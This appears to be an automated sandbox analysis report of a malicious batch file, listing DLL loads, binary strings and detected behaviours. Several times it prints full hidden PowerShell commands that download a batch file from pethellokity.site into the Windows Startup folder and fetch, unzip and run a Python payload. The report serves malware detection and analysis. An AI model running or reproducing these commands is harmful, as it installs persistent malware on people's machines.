Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: pywintypes310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: main1.bat

Static file information: File size 9134021 > 1048576

Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32transaction.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2557B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25570000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32inet.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253A3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb!! source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32print.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25477000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32cred.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2528B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32job.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253C8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\servicemanager.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB24E5B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32clipboard.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ras.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB254E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32help.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pdh.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32gui.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pipe.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25456000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32lz.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253F8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32wnet.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB255B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32profile.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB254CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB254BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32evtlog.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252F8000.00000004.00000800.00020000.00000000.sdmp, win32evtlog.pyd.3.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.3.dr
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB249D9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000009.00000000.2721374336.00007FF7C9E22000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32process.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25498000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32security.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25503000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\timer.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25209000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB251FF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: _asyncio.pyd.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32file.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ts.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25591000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32console.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25268000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25628000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB255D5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2554B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2555A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32service.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25503000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_winxptheme.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2563E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match

File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat, type: DROPPED

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"	Jump to behavior

Source: libcrypto-1_1.dll.3.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F342BA push ss; retf		2_2_00007FF848F342BB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F309D8 push E85D715Dh; ret		2_2_00007FF848F309F9

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
